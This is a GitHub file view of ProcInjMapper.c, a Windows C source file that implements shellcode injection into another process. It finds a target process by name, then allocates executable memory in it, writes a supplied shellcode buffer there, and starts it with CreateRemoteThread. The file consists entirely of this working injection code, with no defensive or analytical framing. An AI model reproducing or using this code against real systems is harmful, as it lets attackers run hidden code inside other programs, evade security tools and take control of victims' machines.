-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathProcInjMapper.c
57 lines (47 loc) · 1.48 KB
/
ProcInjMapper.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include "ProcInjMapper.h"
#include <tlhelp32.h>
#include <stdio.h>
DWORD find_process(const char *name) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
CloseHandle(hSnapshot);
return 0;
}
do {
if (strcmp(pe.szExeFile, name) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot);
return 0;
}
BOOL inject_shellcode(DWORD pid, const unsigned char *buf, size_t len) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
return FALSE;
}
LPVOID addr = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);
if (addr == NULL) {
CloseHandle(hProcess);
return FALSE;
}
if (!WriteProcessMemory(hProcess, addr, buf, len, NULL)) {
CloseHandle(hProcess);
return FALSE;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
if (hThread == NULL) {
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}